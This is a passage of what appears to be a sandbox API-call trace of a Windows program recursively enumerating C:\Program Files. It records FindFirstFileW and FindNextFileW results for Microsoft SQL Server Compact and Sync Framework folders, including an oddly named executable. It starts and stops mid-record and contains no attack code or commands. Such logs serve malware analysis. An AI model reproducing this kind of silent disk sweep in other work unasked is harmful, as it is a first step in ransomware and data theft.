ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.556] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.556] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0043.556] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.557] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.557] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.557] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.557] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.557] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0043.557] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.558] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.558] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.558] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.558] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.559] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0043.559] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.560] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x818d2ad0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818d2ad0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.560] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561a7390, ftCreationTime.dwHighDateTime=0x1d503ac, ftLastAccessTime.dwLowDateTime=0xe9f0df70, ftLastAccessTime.dwHighDateTime=0x1d4c13d, ftLastWriteTime.dwLowDateTime=0xe9f0df70, ftLastWriteTime.dwHighDateTime=0x1d4c13d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="photographymiscellaneousmeters.exe", cAlternateFileName="PHOTOG~1.EXE")) returned 1 [0043.560] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.560] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.561] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0043.561] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.751] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.756] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.787] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.787] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0043.787] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.787] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.787] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0043.787] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.787] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.787] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0043.787] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.787] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.788] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.788] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.788] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0043.788] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.789] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.789] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0043.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.789] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.789] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0043.790] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.790] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.790] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.790] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.790] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.790] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0043.790] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.790] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.790] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.790] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.790] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.790] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0043.790] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.791] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.792] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, 